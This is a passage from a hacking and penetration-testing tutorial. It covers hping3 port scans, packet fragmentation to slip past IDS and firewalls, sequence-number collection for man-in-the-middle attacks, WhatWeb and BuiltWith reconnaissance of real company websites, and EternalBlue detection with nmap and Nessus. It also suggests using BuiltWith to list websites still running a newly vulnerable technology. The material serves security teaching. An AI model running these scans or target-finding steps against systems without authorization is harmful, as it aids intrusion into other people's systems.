len=46 ip=192.168.0.114 ttl=128 DF id=18	64 sport=80 flags=RA seq=7 win=0 rtt=2.1 ms
len=46 ip=192.168.0.114 ttl=128 DF id=18	365 sport=80 flags=RA seq=8 win=0 rtt=1.1 ms
len=46 ip=192.168.0.114 ttl=128 DF id=18	366 sport=80 flags=RA seq=9 win=0 rtt=9.1 ms
len=46 ip=192.168.0.114 ttl=128 DF id=18	367 sport=80 flags=RA seq=10 win=0 rtt=8.9 ms
len=46 ip=192.168.0.114 ttl=128 DF id=18	68 sport=80 flags=RA seq=11 win=0 rtt=7.7 ms

Use the Ctrl+C to terminate hping3.

As you can see in the sixth column, the flags field returns RA. This indicates that the RST and ACK flags are set. The RST flag being returned is the standard way TCP communicates that the port is closed. On this Windows 7 system, we can then conclude that port 80 is closed. Unusual, but not unknown.

Since this is a Windows machine, it is likely to have SMB is enabled or port 445. Let's try that port.

kali > hping3 -S 192.168.1.116 -p 445

root@kali-2019:~# hping3 -S 192.168.0.114 -p 445	
HPING 192.168.0.114 (eth0 192.168.0.114): S set, 40 headers + 0 data bytes	
len=46 ip=192.168.0.114 ttl=128 DF id=1873 sport=445 flags=SA seq=0 win=8192 rtt=8	.7 ms
len=46 ip=192.168.0.114 ttl=128 DF id=1874 sport=445 flags=SA seq=1 win=8192 rtt=7	.8 ms
len=46 ip=192.168.0.114 ttl=128 DF id=1875 sport=445 flags=SA seq=2 win=8192 rtt=6	.7 ms
len=46 ip=192.168.0.114 ttl=128 DF id=1876 sport=445 flags=SA seq=3 win=8192 rtt=6	.0 ms
len=46 ip=192.168.0.114 ttl=128 DF id=1877 sport=445 flags=SA seq=4 win=8192 rtt=5	.2 ms
len=46 ip=192.168.0.114 ttl=128 DF id=1878 sport=445 flags=SA seq=5 win=8192 rtt=4	.9 ms
len=46 ip=192.168.0.114 ttl=128 DF id=1879 sport=445 flags=SA seq=6 win=8192 rtt=4	.8 ms

As you can see in the above screenshot, when we scan port 445 on this system, it returns a packet with the SA flags set or SYN (S) and ACK (A) indicating it is open.

Finally, if we want to scan all the ports, we can use the increment syntax or ++1 and form a command like this;

kali > hping3 -S 192.168.1.116 -p ++1

root@kali-2019:~# hping3 -S 192.168.0.114	-p ++1
HPING 192.168.0.114 (eth0 192.168.0.114): 9	5 set, 40 headers + 0 data bytes
len=46 ip=192.168.0.114 ttl=128 DF id=1883	sport=1 flags=RA seq=0 win=0 rtt=4.4 ms
len=46 ip=192.168.0.114 ttl=128 DF id=1884	sport=2
len=46 ip=192.168.0.114 ttl=128 DF id=1885	sport=3 flags=RA seq=2 win=0 rtt=4.0 ms
len=46 ip=192.168.0.114 ttl=128 DF id=1886	sport=4 flags=RA seq=3 win=0 rtt=4.1 ms
len=46 ip=192.168.0.114 ttl=128 DF id=1887	sport=5 flags=RA seq=4 win=0 rtt=3.0 ms
len=46 ip=192.168.0.114 ttl=128 DF id=1888	sport=6
len=46 ip=192.168.0.114 ttl=128 DF id=1889	sport=7
len=46 ip=192.168.0.114 ttl=128 DF id=1890	sport=8 flags=RA seq=7 win=0 rtt=1.1 ms
len=46 ip=192.168.0.114 ttl=128 DF id=1891	sport=9 flags=RA seq=8 win=0 rtt=9.4 ms
len=46 ip=192.168.0.114 ttl=128 DF id=1892	sport=10 flags=RA seq=9 win=0 rtt=7.6 ms
len=46 ip=192.168.0.114 ttl=128 DF id=1893	sport=11 flags=RA seq=10 win=0 rtt=6.9 ms
len=46 ip=192.168.0.114 ttl=128 DF id=1894	sport=12 flags=RA seq=11 win=0 rtt=6.9 ms
len=46 ip=192.168.0.114 ttl=128 DF id=1895	sport=13 flags=RA seq=12 win=0 rtt=6.1 ms
len=46 ip=192.168.0.114 ttl=128 DF id=1896	sport=14 flags=RA seq=13 win=0 rtt=5.9 ms

This scan starts at port 1 and increments by 1 (++1) to test each port for a response.

Notice in the fifth column that it begins by scanning port 1, then port 2, then port 3...It will continue to scan all 65535 ports until it reaches the end or you hit Ctrl+C.

#### **Fragmenting Packets**

As I mentioned in the introduction on hping3, you can sometimes bypass security devices such as IDSs and firewalls by fragmenting the packets. We can do this with hping3 by using the **-f** switch such as;

```
kali > hping3 -S -f 192.168.1.116 -p 445
```

```
kali:~# hping3 -S -f 192.168.1<mark>.</mark>116 -p 445
HPING 192.168.1.116 (eth0 192.168.1.116): S set, 40 headers + 0 data bytes
len=46 ip=192.168.1.116 ttl=128 DF id=18306 sport=445 flags=SA seq=0 win=8192 r
t=1.8 ms
len=46 ip=192.168.1.116 ttl=128 DF id=18307 sport=445 flags=SA seg=1 win=8192 rt
t=1.5 ms
len=46 ip=192.168.1.116 ttl=128 DF id=18308 sport=445 flags=SA seg=2 win=8192 rt
t=1.3 ms
len=46 ip=192.168.1.116 ttl=128 DF id=18309 sport=445 flags=<mark>SA seq=3 win=8192</mark> rt
t=1.1 ms
len=46 ip=192.168.1.116 ttl=128 DF id=18310 sport=445 flags=SA seq=4 win=8192 rt
t=1.4 ms
len=46 ip=192.168.1.116 ttl=128 DF id=18311 sport=445 flags=SA seq=5 win=8192 rt
t=1.8 ms
len=46 ip=192.168.1.116 ttl=128 DF id=18312 sport=445 flags=SA seq=6 win=8192 r
t=6.5 ms
```

Since the packet is broken into many small fragments of the original packet, in some cases the IDS or firewall's attack signature won't match these fragmented packets.

#### **Predicting Sequence Numbers**

Sequence numbers are used by TCP/IP to make certain that packets that don't arrive in the proper sequence can be reordered at the target in the same sequence they were sent. Since all packets do not necessarily take the same path, they may not arrive in the same order they are sent. This mechanism is an element of what gives the TCP protocol its robustness.

A Man-in-the-Middle attack (MiTM) must set these sequence numbers properly. To protect against MiTM attacks, operating system developers no longer use sequence numbers that follow serially (1,2,3...). Instead, they now use algorithms to generate sequence numbers to make it harder to conduct a MiTM attack. Hping3 enables us to collect the sequence numbers so that we can later predict them for MiTM and other attacks.

Let's scan google.com and gather some sequence numbers. We can do this by using the -Q switch, which will collect and echo back only the sequence numbers of the returned packets.

```
kali > hping3 -Q -S google.com -p 80
```



As you can see, hping3 was able to return to us the sequence numbers that the operating system TCP/IP stack generated. Given enough of these, we can determine the algorithm and then predict the sequence numbers for an effective MiTM attack.

#### Using Hping3 to get the System Uptime

One of the really interesting things we can do with hping3 is to check how long the system has been up and running. Generally, this means how long it's been since the system has been rebooted and, of course, that is usually an indication of how long since the system has been patched with security updates.

The TCP protocol has a field named "timestamp" that calculates the seconds since the operating system was last booted up. We can retrieve that value by using the "-tcp-timestamp" switch in hping3. It will go out to the target system and retrieve this field, and then convert it into days, hours, minutes, and seconds. Let's try it on google.com.

```
kali > hping3 --tcp-timestamp -S google.com -p 80
```


As you can see, when I ran this command against the Google server, it returned a message that this server's timestamp was 858100827 and it then converted that to 9 days, 22 hours, 21 minutes, and 40 seconds.

As a hacker/pentester, this can be invaluable information! It means that this system was last rebooted nine days ago. If a recent patch has been released for a known vulnerability within those nine days, we can conclude that this system has NOT been patched and is probably vulnerable to that known exploit.

#### Website Active Reconnaissance

Nmap and hping3 are wonderful tools for actively determining critical elements of any system such as ports, services and operating system. When scanning websites, we need to use a different set of tools.

Websites are built using a variety of technologies (see <u>Web Technologies here</u>). In most cases, before we develop a hacking strategy of the website, we need to understand the technologies employed in building it. Website attacks are not generic. For instance, attacks against WordPress-based websites won't work against .NET based websites and vice versa. We need to do this type of reconnaissance first before progressing to compromising a website.

WhatWeb is a Python script that probes the website for signatures of the server, the CMS and other technologies used to develop the site. According to the WhatWebweb page:

WhatWeb recognises web technologies including content management systems (CMS), blogging platforms, statistic/analytics packages, JavaScript libraries, web servers, and embedded devices. WhatWeb has over 1700 plugins, each to recognise something different. WhatWeb also identifies version numbers, email addresses, account IDs, web framework modules, SQL errors, and more.

Once we know what technologies the website is running, we can run vulnerability scans to find known vulnerabilities and develop an attack strategy.

To start, let's take a look at WhatWeb's help screen.

kali > whatweb -h

:~# whatweb -h .\$\$\$ \$\$\$\$ \$. \$\$. .\$\$\$\$\$\$\$\$\$ \$\$\$\$\$ \$\$\$\$\$\$ \$\$' \$ `\$ `\$\$ \$ `\$ \$. \$ :' \$. .\$\$\$\$\$\$. .\$\$\$\$\$ \$\$\$ .\$\$\$\$\$\$. \$\$\$ \$ \$\$\$ \$ \$\$\$ \$. \$\$\$\$\$\$ `\$ \$\$\$ . \$\$\$\$\$\$ \$\$\$ \$ \$\$\$ \$ \$\$\$ \$ \$\$ `\$ • \$\$\$\$ \$\$ \$\$\$ `\$ \$\$\$ \$\$\$\$\$\$ . \$\$ \$ \$\$ \$\$\$\$\$ \$\$\$\$\$ \$\$\$ \$\$\$ \$\$\$ \$\$\$ \$\$\$ \$::\$ \$;;\$ \$\$\$ \$\$\$\$\$\$ \$\$\$\$\$ \$\$ \$\$\$ \$\$\$\$ \$\$\$\$ WhatWeb - Next generation web scanner version 0.4.9. Developed by Andrew Horton aka urbanadventurer and Brendan Coles. Homepage: http://www.morningstarsecurity.com/research/whatweb Usage: whatweb [options] <URLs> TARGET SELECTION: <TARGETs> Enter URLs, hostnames, IP adddresses, filenames, or nmap-format IP address ranges. Read targets from a file. You can pipe --input-file=FILE, -i hostnames or URLs directly with -i /dev/stdin. TARGET MODIFICATION: Add a prefix to target URLs. Add a suffix to target URLs. Insert the targets into a URL. e.g. example.com/%insert%/robots.txt --url-prefix --url-suffix --url-pattern AGGRESSION: The aggression level controls the trade-off between speed/stealth and reliability. --aggression, -a=LEVEL 1. Stealthy Set the aggression level. Default: 1 Makes one HTTP request per target and also follows redirects. If a level 1 plugin is matched, additional requests will be made. Makes a lot of HTTP requests per target. URLs from all alwise, are attempted Aggressive Heavy from all plugins are attempted.

WhatWeb displays several pages of help. We can see in this first screen that the basic syntax to use whatweb is;

whatweb [options] <URL>

You will also notice in this first section a paragraph titled "Aggression". Here we can select how stealthy we want to be in probing the site. The more aggressive the scan, the more accurate it is and the more likely your scan will be detected by the security devices and website owner.

When we scroll to the bottom of the help screen, we can see some examples. In most cases, we can simply enter the command, whatweb, followed by the URL of the target site.

#### Scanning Websites to Determine the Technologies Employed

Let's try scanning some websites of companies that provide information security (infosec) training. Let's find out if they are actually securing their sites as they teach in their courses.

Let's begin by scanning sans.org.

kali > whatweb sans.org



When we scan sans.org, we can see that they have hidden their country, use Apache as their web server and an Incapsula Web Application Firewall (WAF); minimal information, so they have done well!

Next, let's try the same scan on another infosec training company, Infosec Institute's website, www.infosecinstitute.com.

```
kali > whatweb infosecinstitute.com
```

```
root@kali:~# whatweb infosecinstitute.com
http://infosecinstitute.com [301 Moved Permanently] Country[UNITED STATES][US], HTTPServer[nginx], IP[104.199.119.187], RedirectLocation[http://
/www.infosecinstitute.com/], Title[301 Moved Permanently] Country[UNITED STATES][US], HTTPServer[nginx], IP[104.199.119.187], RedirectLocation[http://
http://www.infosecinstitute.com/], Title[301 Moved Permanently], UncommonHeaders[x-type], nginx
https://www.infosecinstitute.com/], Title[301 Moved Permanently], UncommonHeaders[x-type], MordPress, X-UA-Compatible[IE=edge], YouTube, nginx
```

Our scan of www.infosecinstitute.com, reveals a bit more information, such as their country (United States), their web server (nginx) and their CMS (WordPress).

Finally, let scan the information security training site, www.cybrary.it.

```
kali > whatweb cybrary.it
```

```
root@kali:+# whatweb cybrary.it
http://cybrary.it [301 Moved Permanently] Country[UNITED STATES][US], HTTPServer[awselb/2.0], IP[3.19.95.250], RedirectLocation[https://cybrary.
it:443/], Title[301 Moved Permanently]
https://cybrary.it/ [301 Moved Permanently] Country[UNITED STATES][US], HTTPServer[awselb/2.0], IP[3.14.137.13], RedirectLocation[https://www.c
ybrary.it:443/], Title[301 Moved Permanently]
https://www.cybrary.it/ [200 0K] Cookies[PHPSESSID,sessionToken,site_referer], Country[UNITED STATES][US], Google-Analytics[Universal][UA-56709
https://www.cybrary.it/ [200 0K] Cookies[PHPSESSID,sessionToken,site_referer], Country[UNITED STATES][US], Google-Analytics[Universal][UA-56709
046-1], HTTPServer[nginx], IP[52.84.216.74], JQuery[1.12.4], Open-Graph-Protocol[website], Script[application/ld+json,text/javascript], Strict-
Transport-Security[max-age=31536000; includeSubdomains; preload], Title[Free Cyber Security Training and Career Development] Cybrary], Uncommo
nHeaders[Link,x-content-type-options,x-amz-cf-id], Via-Proxy[1.1 5426e173edd65a7a7e49d28e75692b50.cloudfront.net
(CloudFront)], WordPress, X-Fr
ame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx, x-pingback[https://www.cybrary.it/xmlrpc.php]
```

As we can see above, www.cybrary.it's server is in the United States and they are using Amazon Web Services (AWS), Amazon's Content Delivery System (CDS), Cloudfront, and the CMS WordPress.

#### Summary

WhatWeb is an effective tool for scanning websites to learn what technologies they are running. Unlike Netcraft, WhatWeb is an active tool as it send probes to the website to determine what technologies are

employed. One of the key advantages of WhatWeb over Netcraft is that Netcraft only collects and indexes the most active sites, while we can use WhatWeb against any website at all, even the smallest.

#### **BuiltWith Web Technologies**

WhatWeb is an excellent tool for determining the technologies used in a website, but it's always a good idea to have multiple arrows in our hacker quiver. The website <u>www.builtwith.com</u> does a similar task and analysis. Some of its basic capabilities are offered for free, but to use ALL its capabilities you need to register and pay an annual fee.

One of the key capabilities of BuiltWith is to identify ALL websites with a particular technology. Imagine that a new vulnerability is exposed in websites built with WordPress v.4.9. BuiltWith is capable of providing you a list of every website built with that technology.

Simply enter the name of the technology in "Technology Name" windows.

built With	Reports 🕶	Tools 🕶	Plans & Pricing	Customers	Account 🕶	Help <del>-</del>	Website, Tech, Keyword	Lookup			
Home /	New Report / 1	Fechnology / We	ordpress 4.9								
Nev	New Technology Report										
		Technolo	gy Name								
		Wordp	ress 4.9								
		Variation									
		Search	the variations i.e. Palo	Alto							
			Live Wordpress 4.9 Sit 58 currently live sites using '	es Wordpress 4.9			^				
		Wo	rdpress 4.9 websites i	n the United State	s						
		H Wa	rdpress 4.9 websites i	n the United Kingd	lom						
			rdpress 4.9 websites in	n Germany							

As you can see above, BuiltWith informs us that nearly eight million live sites use WordPress 4.9.

#### **BuiltWith to Scan for Website Technologies**

To use BuiltWith, we simply enter the website we are interested in learning about and it returns the technologies employed in the site. Below we have entered the website **cybrary.it**.

🛈 🔒 Bu	iltWith Pty L	td (AU)	https://builtwith.com/detailed/	'cybrary.it				90% … 🗵 ☆
	Home / cybr	ary.it Techno BR/		chnology Profile				
	Technolog	y Profile	Detailed Technology Profile	Meta Data Profile	Relationship Prof	file Redirect I	Profile	
	You have used 1 of 5 lookups you can do on a free account currently.							View Plans Advanced also provides unlimited detailed tookups.
	CYBRAR Analy	Y.IT tics and Tra	cking		First Detected	Last Detected		Technologies
	Marketo Marketing Automation				Oct 2017	Jul 2019	\$	Hide Free
	Marke	Marketo Real Time Personalization				Jul 2019	\$	
	G Googl A/B Tes	le Optimize 3 <sup>sting</sup>	60		Apr 2017	Jul 2019	\$	cybrary.it
	<ul> <li>Cloud</li> <li>Applica</li> </ul>	flare Rocket	Loader œ		Jun 2016	Jul 2019		cybrary.it/*
	G Googl Applica	le Analytics ition Performant	ce - Audience Measurement - Visitor Count Tr	acking	Feb 2018	Jul 2019		Internal pages of cybrary.it
	G Googl	le Universal A	Analytics		Feb 2018	Jul 2019		go.cybrary.it
	Faceb Conver	Facebook Conversion Tracking     Conversion Optimization     New Relic     Application Performance     Insighter     Insection - Marketing Automation			Jul 2018	Jul 2019		app.cybrary.it
	New F Applica				Aug 2018	Jul 2019		beta.cybrary.it
	Lead G				Feb 2018	Jun 2019	\$	create.cybrary.it
	FullSt Audien	ory ce Measuremen	t		Jan 2019	Jun 2019	\$	testing.cybrary.it
	f Faceb	ook Signal			Nov 2017	Jun 2019		api-auth.cybrary.it

BuiltWith also has excellent Firefox, Chrome, and Edge extensions that will detail the technologies used by every website you visit with your browser. To add the extension to your browser, navigate to <u>https://builtwith.com/toolbar</u>. There, you can download and install the appropriate extension for your browser.



Now, whenever you visit a website, you can click on the small BW icon on the upper right corner of your browser and automatically get a readout of the technologies employed by that site.



BuiltWith is an excellent tool for determining the technologies used in websites. Both the website and the browser plugin are capable of probing the website and returning a detailed list of the technologies used. I, for one, use the browser plugin all the time so that I can quickly and easily know what technologies are behind the site. BuiltWith has an additional key capability of finding and listing every website with a particular technology. This can be particularly useful when a new vulnerability has been found and you need to know who is using it before it is patched.

#### Summary

Before moving on to advanced exploitation, we need to know as much about the target as possible. In Chapter 5 we used passive techniques to learn as much as we can, and in this chapter we advanced to using active techniques. Active techniques tend to be more accurate and precise, but carry the downside of not being stealthy.

#### Exercises

- 1. Do an nmap TCP (-sT) scan with the services switch (-A) on another machine in your home, office or school.
- 2. Do a hping3 scan on the same and in addition to finding what ports are open, find out how long it is up.
- 3. Use WhatWeb to determine the technologies used by your favorite website
- 4. Use BuiltWith to do the same.
- 5. Find a new website vulnerability from securityfocus.com and search for websites using that technology on BuiltWith.
- 6. Install the BuiltWith browser extension into your favorite browser.

# 7

## **Finding Vulnerabilities to Exploit**

Every adversary--no matter how strong and powerful--always has a weakness

Master OTW



Now that we have a good idea of the ports, services, operating system, and technologies from our passive and active reconnaissance of the potential target system, our next step is to find vulnerabilities that might be exploited by the attacker. According to Wikipedia, a vulnerability is:

a weakness which can be exploited by a <u>threat actor</u>, such as an attacker, to perform unauthorized actions within a computer system. I like to think of a vulnerability as a window or door to the computer system that hasn't been properly closed or locked. If the hacker knows that this vulnerability exists, then they can often exploit it.

#### What is Vulnerability Scanning?

Vulnerability scanning is the process of looking for **known** vulnerabilities. We usually use a tool known as a vulnerability scanner, which sends probes to operating systems, services, and applications to determine whether a known vulnerability exists. These scanners are neither perfect nor stealthy.

Although penetration testers often use vulnerability scanners, hackers who must remain stealthy seldom get the opportunity because these vulnerability scanners are very "noisy" and can be easily detected. Nevertheless, if the attacker is in a position to use a vulnerability scanner, they can save hours, days, or weeks of work.

In addition, vulnerability scanners tend to generate a large number of false positives (see below). It is the job of the pentester to determine whether a potential vulnerability found by the scanner is a real vulnerability or not by attempting to exploit it.

#### How Does a Vulnerability Scanner Work?

Vulnerability scanners such as Nessus, Nexpose, Qualys, and Acunetix (there are any others) maintain databases of known vulnerabilities. These vulnerabilities have telltale signs or signatures that the scanners can probe to see whether they exist. For instance, the EternalBlue vulnerability that was exploited by such ransomware as WannaCry and Petya takes advantage of a flaw in the Windows driver file *srv.sys*.

The vulnerability scanner simply checks to see whether that file at C:\Windows\system32\drivers has been updated to srv2.sys. If it has been updated, the system is not vulnerable to the EternalBlue exploit and all the malware that uses it.

						<b>×</b>												
🔾 🗢 🗸 🖉 🗸 Local D	)isk (	C:) ► Windows ► System32 ► driver	s 🕨 👻 🐓	Search drivers		٩												
Organize 👻 🦳 Ope	en '	<ul> <li>New folder</li> </ul>			= - 1	0												
☆ Favorites		Name	Date modified	Туре	Size	<b>^</b>												
E Desktop		🚳 sisraid4.sys	7/13/2009 8:45 PM	SYS File	79 K	в												
Downloads	E	E	l	l	L			🚳 smb.sys	7/13/2009 7:09 PM	SYS File	91 K	в						
Recent Places																	🚳 smclib.sys	7/13/2009 7:00 PM
					🚳 spldr.sys	7/13/2009 8:45 PM	SYS File	19 K	в									
📜 Libraries			SDSVS.SVS	6/10/2009 3:48 PM	SYS File	417 K	В											
Documents			E	E	E	E	=	🔕 srv.sys	7/13/2009 6:25 PM	SYS File	455 K	в						
J Music							🚳 srv2.sys	7/13/2009 6:25 PM	SYS File	398 K	В							
Pictures															🚳 srvnet.sys	7/13/2009 6:25 PM	SYS File	159 K
Videos		🗟 stexstor.sys	7/13/2009 8:45 PM	SYS File	25 K	в												
		🗟 storport.sys	7/13/2009 8:45 PM	SYS File	182 K	в												
🖳 Computer		🗟 storvsc.sys	7/13/2009 8:45 PM	SYS File	35 K	в												
🕌 Local Disk (C:)		🗟 stream.sys	7/13/2009 7:06 PM	SYS File	68 K	в												
	-	🚳 swenum.sys	7/13/2009 8:45 PM	SYS File	13 K	B 🛫												
STV.Sys Date SYS File	mo	Gified: 7/13/2009 6:25 PM Date cre Size: 454 KB	eated: 7/13/2009 6:25 PM															

Serv.sys on Windows 7 system

In addition, vulnerability scanners check to see whether operating systems and applications are up to date on their patches.

#### What are False Positives?

False positives are generated when a system such as a vulnerability scanner says something exists, but it does not. For instance, if your system vulnerability scanner says that your system is vulnerable to EternalBlue and it is not, that is a **false positive**. Unfortunately, vulnerability scanners are far from perfect and generate a lot of false positives.

False Positive	The scanner indicates the vulnerability exists (positive) and it doesn't exist (false).
False Negative	The scanner indicates the vulnerability doesn't exist (negative) and it does exist (true).
True Positive	The scanner indicates the vulnerability exists (positive) and it does exist (true).
True Negative	The scanner indicates the vulnerability doesn't exist (negative) and it doesn't exist (true).

Although false negatives can be frustrating, given a choice between a system that produces false positives or false negatives, we certainly prefer the false positive.

#### **EternalBlue nmap Vulnerability Scanner**

Let's test our Windows 7 system for the presence of the EternalBlue vulnerability. As I mentioned earlier in Chapter 6, nmap's capabilities have expanded dramatically in recent years. Nmap can now run specialized scripts written in Lua. One of those scripts is a EternalBlue vulnerability scanner. Note that this script **only** tests for this single vulnerability.

To run this vulnerability scanning script, we simply need to point our nmap scanner at the IP of the Windows system and its SMB port (445) and then include the option **-script** followed by the name of the script, in this case **smb-vuln-ms17-010**.

kali > nmap 192.168.0.157 -p445 -script smb-vuln-ms17-010



As you can see above, our nmap vulnerability scan indicates that our Windows 7 system **IS** vulnerable to the EternalBlue exploit!

#### **Nessus Vulnerability Scans**

The nmap script used above was effective at identifying that single vulnerability in our unpatched Windows 7 system. It was effective for that one vulnerability, but far from comprehensive. What if we wanted or needed to scan for ALL known vulnerabilities? This is exactly what a vulnerability scanner like Nessus can do. Although there are many effective vulnerability scanners on the market, Nessus is my favorite and the favorite of 44 percent of security engineers

Nessus began as an open-source project by Renaud Deraison in 1998 (just like Snort, Metasploit, and many other information security projects). In 2005, Deraison's company, Tenable Network Security, converted this software to proprietary and closed source. Lucky for us, it still has a free Essentials version (formerly the Home version), which can be used indefinitely for free for up to sixteen IP addresses.

Let's use it to test our Windows 7 system.

Go to the Nessus page here and download the Essentials (home) version of Nessus (since this book was written in mid 2019, Nessus has discontinued this product. Instead, download and install the trial version of the commercial product).

https://www.tenable.com/products/nessus/nessus-essentials

Nan	ne	Description	Details
•	Nessus-8.4.0-x64.msi	Windows Server 2008, Server 2008 R2*, Server 2012, Server 2012 R2, 7, 8, 10, Server 2016 (64-bit)	Checksum
•	Nessus-8.4.0-Win32.msi	Windows 7, 8, 10 (32-bit)	Checksum
•	Nessus-8.4.0-debian6_i386.deb	Debian 6, 7, 8, 9 / Kali Linux 1, 2017.3 i386(32-bit)	Checksum
<b>\$</b>	Nessus-8.4.0-es5.i386.rpm	Red Hat ES 5 i386(32-bit) / CentOS 5 / Oracle Linux 5 (including Unbreakable Enterprise Kernel)	Checksum
•	Nessus-8.4.0-suse12.x86_64.rpm	SUSE 12 Enterprise (64-bit)	Checksum
•	Nessus-8.4.0-ubuntu910_i386.deb	Ubuntu 9.10 / Ubuntu 10.04 i386(32-bit)	Checksum
۰	Nessus-8.4.0-debian6_amd64.deb	Debian 6, 7, 8, 9 / Kali Linux 1, 2017.3 AMD64	Checksum
ф	Nessus-8.4.0-es6.i386.rpm	Red Hat ES 6 i386(32-bit) / CentOS 6 / Oracle Linux 6 (including Unbreakable Enterprise Kernel)	Checksum
•	Nessus-8.4.0-fc20.x86_64.rpm	Fedora 20, 21, 25, 26, 27 (64-bit)	Checksum
•	Nessus-8.4.0-ubuntu910_amd64.deb	Ubuntu 9.10 / Ubuntu 10.04 (64-bit)	Checksum

Click to Download the appropriate version. Since I'm using Kali throughout this book, I downloaded the version for Debian 6,7,8/Kali Linux (as mentioned earlier, Kali is built on Debian, just like Ubuntu).

Next, agree to the Master License.

Once Nessus has finished downloading, navigate to the Downloads directory on your Kali system.

```
kali > cd /root/Downloads
```

In the Downloads directory, you should see your Nessus package. Now, use the **dpkg** command to extract and install Nessus.

kali > dpkg -i Nessus-8.5.1-debian6\_amd64.deb

Note that the version of Nessus you are downloading may be different. Enter your version package after the -i in the dkpg command.



When it has completed its installing, we next need to start Nessus. We can start it by entering:

kali > /etc/init.d/nessusd start



Now, open your browser and go to <u>https://localhost:8834</u>. Your browser may squawk at you about the connection not being secure (Nessus uses a self-generated certificate). Ignore the warnings, make a security exception for your Nessus server and continue.

You should be greeted by a Nessus screen like that below. At this screen you will be creating an account on your Nessus server.

51LF 1 01 5	
Create an acc	ount
To use this scann <u>er, an</u>	account must be created.
This account can execu	ite commands on remote
targets and should be th	eated as a root user.
Username *	
Password *	
	۲

Next, you will need to enter the activation code Nessus sent you via email. Make certain you select "Essentials" for scanner type.

STEP 2 OF 3		sus
Register yo	ur scanner	ppor
locally or choose of run it in managed n	ne of the dropdown options node.	to
Scanner Type		
Scanner Type Essentials, Profe	ssional or Manager	•
Scanner Type Essentials, Profe Activation Code *	ssional or Manager	÷
Scanner Type Essentials, Profe Activation Code *	ssional or Manager	•
Scanner Type Essentials, Profes Activation Code *	ssional or Manager	•

Enter your Activation Code and hit Continue. Nessus will now start to initialize your scanner, downloading plugins and the vulnerability database.



This can take a while. Go get your favorite beverage and wait...and then maybe go get another.

When it has completed this initialization, login with the credentials you entered above.



Once we sign in to Nessus, we are greeted by the "My Scans" screen. Since we have not yet done a vulnerability scan, no scans appear here yet. You can see a button in the upper right corner labeled "New Scan." Click it to start a new vulnerability scan.

	Nessus Essentials / Folders / My Scans - Mozilla Firefox		•	
Kali Linux, an Offensive	Sec: × O Nessus Essentials / Fold: × +			
↔ ♂ ☆ ☆	① ▲ https://localhost:8834/#/scans/folders/my-scans	☆	lii\ C	. :
🗘 Most Visited 🖨 Of	fensive Security 🔀 Kali Linux 🔀 Kali Docs 🤀 Kali Tools 🔦 Exploit-DB 🐚 Aircrack-ng 🤀 Kali Forums 🤀 NetHunter 🔀 Kali Training 🔞 G	etting Started		
	Scans Settings	•	occupytheweb	0
	My Scans Import	New Folder	🕀 New S	can
🖆 My Scans				
All Scans	This folder is empty. Create a new scan.			
Trash Trash				
Policies				
Plugin Rules				
Ganners				
🚇 Community				
Presearch				

This should open a screen asking you what type of scan you want to do. Let's select "Advanced Scan" on the top line second from the left.



This will open a screen asking you to name your scan (this is simply a label), so I have named mine "NewScan." Creative, right? You are also asked for a description, a folder and most importantly, the IP address or addresses you want to scan. This can be a list of IP addresses or CIDR notation of a subnet.

If there are many IP addresses, you can upload a file with IP addresses near the bottom. Here, I will scan just my Windows 7 system on my local network (192.168.0.102).

Settings	Credentials	Plugins	
BASIC	~		
<ul> <li>General</li> </ul>		Name	New Scan
Schedule		Description	My First Nessus Scan of Windows 7
Notificatio	ins	·	
DISCOVERY	>		
ASSESSMENT	>	Folder	My Scans 🔹
REPORT	>	Terrete	
ADVANCED	>	Targets	192.168.0.102

This will load your scan and present you with a screen like the below. To the far right, you will see a |> button. When you click on it, your scan will begin.

My Scans		More 🔻	Import New Folder	New Scan
Search Scans Q	1 Scan (1 Selected) Clear Selected Item			
Name	Schedule		Last Modified $ imes$	л
New Scan	On Demand		N/A	► ×

When Nessus has completed your vulnerability scan, open the scan and you will see a graphical representation of your scan. In my case there are numerous "info"-level vulnerabilities, two medium-level vulnerabilities, and two critical vulnerabilities. Although all vulnerabilities are important, we should first apply ourselves to the critical ones as they can leave our system vulnerable to dangers such as ransomware and remote code execution (RCE).

Let's click on the critical segment of the graph. This opens and displays the critical vulnerabilities.

nessus Essentials	Scans Settings	▲ occupytheweb
FOLDERS My Scans	New Scan « Back to My Scans	Configure Audit Trail Launch 💌 Export 👻
<ul><li>All Scans</li><li>Trash</li></ul>	Hosts         1         Vulnerabilities         21         History         2           Filter          Search Hosts         Q         1 Host	
RESOURCES Policies	Host Vulherabilities v	Scan Details
Plugin Rules  Scanners  TENABLE  Community  Research	192.168.0.102     2     2     36	New Scan Status: Completed Policy: Advanced Scan Scanner: Local Scanner Stata: Today at 506 PM End: Today at 506 PM Elapsed: 3 minutes
		Vulnerabilities • Critical • High • Medium • Low • Inb

This now opens a screen with a list of the critical vulnerabilities. Note the middle vulnerability is designated MS17-010. That is Microsoft's designation of the EternalBlue vulnerability developed by the NSA, released by the ShadowBrokers hacker group in April 2017, and used to exploit systems around the world by such malware as WannaCry and Petya ransomware. Our system is vulnerable to this attack, just as the nmap scan above warned us!

New Scan / 192.168.0.102 / Microsoft W	/indows (Multiple I		С	onfigure	Audit Trail	Launch 🔻	Export 🔻
Vulnerabilities 21							
Search Vulnerabilities Q, 3 Vulnerabilities							
Sev v Name A	Family *	Count v		0	Scan Detail:	s	
CRITICAL MS11-030: Vulnerability in DNS Resolution	Windows	1		1	Name: Status:	New Scan	
CRITICAL MS17-010: Security Update for Microsoft	Windows	1		1	Policy:	Advanced Scan	
MS16-047: Security Update for SAM and L	Windows	1		1	Start:	Today at 5:05 PM	
					Elapsed:	3 minutes	
					Vulnerabilit	ies	
						Critical     High	
						Medium     Low	1
						• Info	

We can dig even deeper and click on the MS17-010 vulnerability and get even greater detail.

New Scan / Plugin #97833 « Back to Vulmenability Group	Configure	Audit Trail	Launch 🔻	Export	•		
Vulnerabilities 21							
MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ET	$\langle \rangle$	Plugin Details			/		
Description The remote Windows host is affected by the following vulnerabilities : - Multiple remote code execution vulnerabilities exist in Microsoft Server Message Block 1.0 (SMBV1) due to improper handling remetest. An unaethenicitated remote attacker can enrich these vn inserabilities via a specially crafted nacket to execute arbitr	of certain	Severity: ID: Version: Type:	Critical 97833 1.22 remote				
